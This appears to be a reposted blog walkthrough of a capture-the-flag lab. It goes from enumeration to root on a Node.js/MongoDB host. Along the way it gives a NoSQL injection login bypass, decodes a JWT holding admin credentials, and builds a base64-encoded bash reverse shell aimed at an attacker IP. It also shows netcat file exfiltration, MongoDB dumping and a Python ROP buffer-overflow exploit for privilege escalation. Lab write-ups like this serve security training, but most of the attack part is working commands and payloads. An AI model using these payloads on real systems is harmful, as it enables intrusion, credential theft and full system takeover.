Complex Attack Types: Sample Scenarios 45

4 months ago 31
BOOK THIS SPACE FOR AD
ARTICLE AD

Baris Dincer

This new attack scenario, in which we will manipulate the opposing system and continue the adventure we started on the web by infiltrating the internal network structure, will improve your penetration capabilities in many ways.

You may see that the IPs change from time to time, do not care, we will be using different machines as we progress. The entire methodology is the same.

It is recommended to prepare your keyboards, cyberpunks!

First, define the values ​​you use most as constant values ​​on the shell.

output

Now define the target machine in the local DNS by saving it in your /etc/hosts file.

output

We are ready to move on to the discovery phase.

We can create a detailed query using our Nmap tool, which allows us to enumerate the opposing machine and its network structure: nmap -sV -sC --script=vuln -T4 -A -oN nmap_result.txt -Pn $target_ip

Version Detection (-sV):

Identifies the version of the services running on the open ports.

Default Script Scan (-sC):

Executes a basic set of scripts that are helpful for identifying the state of the network services.

Vulnerability Scan (--script=vuln):

Runs scripts that specifically look for vulnerabilities in the services identified.

Aggressive Timing (-T4):

Increases the speed of the scan, which is useful for reducing the total scan time on large networks or slow connections.

Comprehensive Scan (-A):

Gathers detailed information about the target, including OS detection, version detection, script scanning, and traceroute.

Output to File (-oN nmap_result.txt):

Saves the scan results to nmap_result.txt for later review.

No Host Discovery (-Pn):

Assumes the host is up, useful for scanning targets that do not respond to ping requests.

This gives you a detailed output.

output
output

As you can see, we discovered version information, open ports and applications running on it, and other CVE notes.

22 SSH OpenSSH 7.6p1
80 HTTP Nginx 1.14.0
3000 HTTP Node.js (Express middleware)

22/tcp: SSH (OpenSSH 7.6p1)

SSH (Secure Shell) is a protocol used for securely logging into a remote machine and executing commands. It provides encrypted communications and is commonly used for remote administration.OpenSSH 7.6p1 is a specific version of the OpenSSH software, which implements the SSH protocol. It’s widely used for secure communication.

80/tcp: HTTP (Nginx 1.14.0)

HTTP (Hypertext Transfer Protocol) is the foundation of data communication for the web. Port 80 is the default port for HTTP traffic.Nginx 1.14.0 is a specific version of the Nginx web server, which is known for its high performance and low resource consumption. It’s used to serve web content and handle HTTP requests.

3000/tcp: HTTP (Node.js with Express middleware)

Node.js is a JavaScript runtime built on Chrome’s V8 JavaScript engine. It allows for server-side scripting using JavaScript.Express is a popular web application framework for Node.js, providing a robust set of features to develop web and mobile applications.Port 3000 is commonly used for web applications during development but can also be used in production environments.

In addition to all this, we also potentially have the admin operations page in our nmap output.

output

Note all this evidence and move on to the next section.

We need a directory discovery mechanism to reveal what other content and pages these endpoints have. You can choose the gobuster tool for this: gobuster dir -u http://ourtargetsite.thm -w $wordlist_sub_dir --random-agent -d -e -x html,bat,php,sh,bak,js

output

Additional pages over HTTP port 80 were exposed. Same results as we get from Nmap query. On the other hand, you can run the same mechanism for the admin extension:gobuster dir -u http://ourtargetsite.thm/admin -w $wordlist_sub_dir --random-agent -d -e -x html,bat,php,sh,bak,js

output

We discovered page:

/images
/javascripts
/robots.txt
/stylesheets

Every detail you get from here is important.

First, let’s send a curl request to robots.txt: curl -s http://10.10.204.111/robots.txt

output

We will check these pages if necessary in the future.

Now, let’s get to know the target in front of us through the browser.

output

It looks like a block page.

Now let’s examine the admin page.

output

There is a mechanism that allows us to register or log in. You may be tempted to try brute-force here, but the more details you can obtain about the system and engineers before this attack will be useful to you. You should always analyze the source code of such functional pages.

output

The script embedded here indicates that json should be sent to database query as content. Now let’s look at the payload structure by entering random values. You can get this from the “network” section.

output
output

We obtained the payload structure.

username=test&password=test

But in addition, we also received JWT. This is a value that defines authorization processes:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3MjEzMTY0ODZ9.chHrpO0-e34hDlfunzmt719vhfhl0cFzZ2n1V7hp9Cg

You can also obtain the page content with a curl request: curl -X GET http://10.10.204.111/admin

output

Now let’s give an example of how to send login values ​​to the target system with a curl request. Save the request header information locally first, you can also obtain this from the “network” section. You should note this for future use.

POST /admin HTTP/1.1
Host: ourtargetsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://ourtargetsite.thm
Connection: keep-alive
Referer: http://ourtargetsite.thm/admin
Upgrade-Insecure-Requests: 1

Now use: curl -D header_req.txt -H “Content-Type: application/json” -XPOST -d ‘{“username”:{“$ne”: “test”},”password”:{“$ne”: “test”}}’ http://10.10.204.111/admin

Check header_req.txt.

output

We got that.

Be careful that each query creates a separate JWT.

Let’s see if we can decode this JWT.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlLCJfaWQiOiI1ZWM2ZTVjZjFkYzRkMzY0YmY4NjQxMDciLCJ1c2VybmFtZSI6ImRhdmUiLCJwYXNzd29yZCI6IlRITXtTdXBlclNlY3VyZUFkbWluUGFzc3dvcmQxMjN9IiwiX192IjowLCJpYXQiOjE3MjEzMTc1NjR9.nrf5do60wpjQYRLw14qSrya1WYE_ayAKs7NlmIhKrNY

We will use on shell:

export IFS=".";jwt="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlLCJfaWQiOiI1ZWM2ZTVjZjFkYzRkMzY0YmY4NjQxMDciLCJ1c2VybmFtZSI6ImRhdmUiLCJwYXNzd29yZCI6IlRITXtTdXBlclNlY3VyZUFkbWluUGFzc3dvcmQxMjN9IiwiX192IjowLCJpYXQiOjE3MjEzMTc1NjR9.nrf5do60wpjQYRLw14qSrya1WYE_ayAKs7NlmIhKrNY";for j in $jwt; do echo "$j" | base64 -d;done

Or you can use jwt.io.

output

Yes, we received the decoded version.

{
"isAdmin": true,
"_id": "5ec6e5cf1dc4d364bf864107",
"username": "dave",
"password": "THM{*******}",
"__v": 0,
"iat": 1721317564
}

We got credentials for user “dave”:

dave:THM{*****}

Moreover, this is defined as admin. What more could we want…

Log in to the admin panel.

output

There is an input panel that allows execution…

We can control the infrastructures again with a plugin.

output

Now let’s try a command.

output
output

Nothing… Try something else.

output

We think there is a protection mechanism.

Try this:

// this makes foobar appear in the output panel
(() => { return "foobar"; })();

The code snippet ew’ve provided is an example of an immediately-invoked function expression (IIFE) in JavaScript, which is commonly used in Node.js and other JavaScript environments.

IIFE (Immediately-Invoked Function Expression):

The code is an anonymous function expression that is immediately invoked right after it is defined.This pattern is used to create a function that runs immediately and does not leave anything behind in the global scope.

Arrow Function:

() => { return "foobar"; } is an arrow function, which is a shorthand syntax for defining functions in JavaScript.In this case, the function takes no parameters and returns the string "foobar".

Immediate Invocation:

The parentheses () at the end of the function expression cause the function to execute immediately.So, the function is defined and then immediately called, returning the string "foobar".
output

We got response!

If we can run such code, we can try to get a reverse shell.

Let’s make things a little more complicated and convert our command to Base64 format: echo -n “bash -i >& /dev/tcp/10.10.70.179/12211 0>&1” | base64

output

We have:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC43MC4xNzkvMTIyMTEgMD4mMQ==

Remember, in order to interact with the other server, you need to create it in json format.

Before transmitting this, listen to your machine on the port you specified.

output
output

Just forward the json payload as like this.

output

Yeap! We got reverse now.

Now take a tour around the system and explore its internal network structure. Stabilize the shell if possible: python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ then use export TERM=xterm.

Let’s observe the other ports that are listened to in the network structure: netstat -putan

output

We immediately noticed port 27017, which indicates a database. Port 27017 is the default port used by MongoDB, which is a popular NoSQL database system. MongoDB uses this port for communication between the MongoDB server and clients, such as applications that connect to the database to perform operations like querying, inserting, updating, and deleting data. MongoDB uses port 27017 by default for its database services. This can be configured to use a different port if needed. MongoDB is a NoSQL database, meaning it stores data in a flexible, JSON-like format called BSON (Binary JSON). This allows for dynamic schemas, which can be more adaptable to changes compared to traditional relational databases.

Control it.

output

We got version 3.6.3. Now run an exploit investigation for Mongo.

output

You should note down all your findings in a real scenario.

We need to navigate the system a little more and look for findings.

output

What is app.js? Control it.

output

Yes, this is a connection script written in JS. Take note of the endpoints for which the connection request was created. Before switching to Mongo, let’s look at the authorization level.

output

The output from the sudo -l command indicates that the user "dave" has permission to run the /uid_checker command as the root user without being prompted for a password.

(root) NOPASSWD: /uid_checker:

(root): The command will be executed with root privileges.NOPASSWD: The user will not be prompted to enter their password when running this command with sudo./uid_checker: The specific command that the user is allowed to run with sudo.

Since “dave” can run /uid_checker with root privileges without a password, it's important to understand what the /uid_checker command does. If it allows arbitrary command execution or has some vulnerabilities, "dave" could potentially escalate privileges to root. If the /uid_checker script has a vulnerability, such as executing other commands without proper sanitization, it could be exploited. For example:

# Hypothetical contents of /uid_checker
#!/bin/bash
echo "Checking UID..."
uid=$(id -u)
if [ "$uid" -eq 0 ]; then
echo "You are root!"
else
echo "You are not root."
fi

If the script allows input that can be manipulated, it might be exploited to gain root access.

Of course we need to check this theory.

Let’s connect to Mongo.

output

To show databases: show databases

output

We saw the databases we would interact with.

To use database: use daves-blog

output

Check tables: show tables

output

We can obtain the information here.

To return documents: db.users.find()

output

Now do the same method on other tables.

Use db.whatcouldthisbes.find()

output
output

Now we can analyze the file we obtained with the sudo -l command and which is within our authority. It is uid_checker .

output

Check content.

output

Our theory seems correct… Actually we found a secret function too:

How did you get here???
/bin/sh

Our directive seems clear. We need to take a look at this.

output

Now we need to transfer this to our own system.

We need to check if there is python on the target system.

output

Yes, we have. Then run HTTP server on the target now.

output

Now query for this file from the local machine.

output

If that doesn’t work, you should try to do this with in-system operations. This example was tried through a different file. There’s another example of how to do this in the other section.

Now let’s try the transfer via netcat.

output

Make sure you type the above commands correctly, otherwise the connection will not be established.

Now we have this file on local.

Let’s dump it: objdump -d uid_checker

output

The tip in the mentioned instructions brought us here.

Return-Oriented Programming (ROP) is a sophisticated technique used in exploiting buffer overflow vulnerabilities in computer programs. ROP allows an attacker to execute code in the context of a vulnerable program without injecting new code, which is particularly useful on systems that enforce executable space protection (like DEP — Data Execution Prevention).

Steps in a ROP attack:

Find Gadgets: The attacker searches the executable and its libraries for useful gadgets. Tools like ROPgadget or ROPg automate this process.Construct the Payload: The attacker builds a payload consisting of the addresses of the chosen gadgets. This payload is designed to perform the desired actions when executed.Exploit Vulnerability: The attacker exploits a buffer overflow or similar vulnerability to overwrite the return address on the stack with the address of the first gadget.Execute ROP Chain: When the function returns, it jumps to the first gadget. Each ret instruction in the gadgets transfers control to the next gadget in the chain, thereby executing the attacker’s desired sequence of operations.

You can use this script to attack: https://github.com/xct/ropstar

output

Now, run this: python3 ropstar.py /root/Desktop/uid_checker

Don’t forget to install the requirements for this script.

output

As you can see, this approach works.

The only analysis of this is quite long, we will make it the subject of another article.

Now try the script below.

#!/usr/bin/env python
from struct import *
buf = ""
buf += "A"*88
buf += pack("<Q", 0x400803)
buf += pack("<Q", 0x601060)
buf += pack("<Q", 0x4005b0)
buf += pack("<Q", 0x400803)
buf += pack("<Q", 0x601060)
buf += pack("<Q", 0x400570)
f = open("in.txt", "w")
f.write(buf)
output

Run it locally.

output

You will have “in.txt” file.

Then use it with: (cat in.txt;cat) | ./uid_checker

output

In this way, the buffer is rendered to the background.

Do the same sequence on the target system, respectively. Then you will be root.

Don’t give up on hacking.

Code for good.

^-^

Read Entire Article